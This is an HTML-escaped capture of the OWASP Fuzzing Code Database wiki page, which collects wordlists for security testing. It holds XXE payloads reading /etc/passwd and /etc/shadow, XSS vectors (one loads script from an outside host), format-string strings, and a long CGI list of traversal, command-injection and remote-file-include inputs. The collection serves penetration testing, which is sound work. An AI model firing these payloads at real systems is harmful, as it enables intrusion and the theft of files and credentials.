&quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 30 July 2007 - Total Statements: 28) ===<br /> &lt;pre&gt;<br /> # Full List<br /> # Format String tests to determine errors in variable handling<br /> # Foobar@email.de<br /> <br /> %s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=81045 2010-04-06T21:24:57Z

<p>Adam.muntner: /* Microsoft URLs (18 March 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Microsoft URLs (6 April 2010) ===<br /> &lt;pre&gt;#Microsoft IIS vulnerabilities and enumeration (6 April, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> /iisadmpwd/achg.htr<br /> /iisadmpwd/aexp.htr<br /> /iisadmpwd/aexp2.htr<br /> /iisadmpwd/aexp2b.htr<br /> /iisadmpwd/aexp3.htr<br /> /iisadmpwd/aexp4.htr<br /> /iisadmpwd/aexp4b.htr<br /> /iisadmpwd/anot.htr<br /> /iisadmpwd/anot3.htr<br /> /iiasdmpwd/<br /> /scripts/fpcount.exe<br /> /scripts/cgimail.exe<br /> /scripts/tools/newdsn.exe<br /> /scripts/tools/getdrvs.exe<br /> /scripts/convert.bas<br /> /cgi-bin/htmlscript<br /> /scripts/counter.exe<br /> /scripts/no-such-file.pl<br /> /cgi<br /> /scripts/iisadmin/ism.dll?http/dir<br /> /scripts/samples/search/webhits.exe<br /> &lt;/pre&gt;<br /> <br /> === Commonly writable directories (6 April 2010) ===<br /> &lt;pre&gt;#Commonly writable directories<br /> (6 April, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Microsoft URLs (18 March 2010) ===<br /> &lt;pre&gt;# Interesting IIS Files &amp; Directories (17 March, 2009)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> # Look at the result codes in the headers - 403 likely mean the dir exists, 404 means not. It takes an ISAPI filter for IIS to return 404's for 403s. <br /> # Altetrnatively, slight differences in the number of bytes returned will help differentiate.<br /> <br /> .printer<br /> /%NETHOOD%/<br /> /&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> /Exadmin/<br /> /ExchWeb/<br /> /Exchange/<br /> /Microsoft-Server-ActiveSync/<br /> /OMA/<br /> /OWA/<br /> /Public/<br /> /_layouts/alllibs.htm<br /> /_layouts/settings.htm<br /> /_layouts/userinfo.htm<br /> /_vti_bin/<br /> /_vti_bin/_vti_aut/fp30reg.dll<br /> /_vti_pvt/<br /> /_WEB_INF/<br /> /a%5c.aspx<br /> /adovbs.inc<br /> /aspnet_files/<br /> /certcontrol/<br /> /certenroll/<br /> /certsrv/<br /> /exchange/root.asp<br /> /forum.asp<br /> /forum_arc.asp<br /> /forum_professionnel.asp<br /> /iisadmin/<br /> /iishelp/<br /> /iishelp/iis/misc/default.asp<br /> /iissamples/<br /> /imprimer.asp<br /> /includes/adovbs.inc<br /> /msadc/<br /> /null.htw<br /> /pbserver/pbserver.dll<br /> /postinfo.html<br /> /rubrique.asp<br /> /scripts/<br /> /share/<br /> /tsweb/<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.asp<br /> /~/&lt;script&gt;alert('XSS')&lt;/script&gt;.aspx<br /> index.shtml<br /> x.htw<br /> x.ida<br /> x.idq<br /> /citrix/<br /> /citrix/AccessPlatform/auth/<br /> /citrix/AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/auth/clientscripts/<br /> /AccessPlatform/<br /> /AccessPlatform/auth/<br /> /AccessPlatform/auth/clientscripts/cookies.js <br /> /AccessPlatform/auth/clientscripts/login.js <br /> /Citrix//AccessPlatform/auth/clientscripts/cookies.js <br /> /Citrix/AccessPlatform/auth/clientscripts/login.js <br /> /Citrix/PNAgent/config.xml<br /> &lt;/pre&gt;<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> 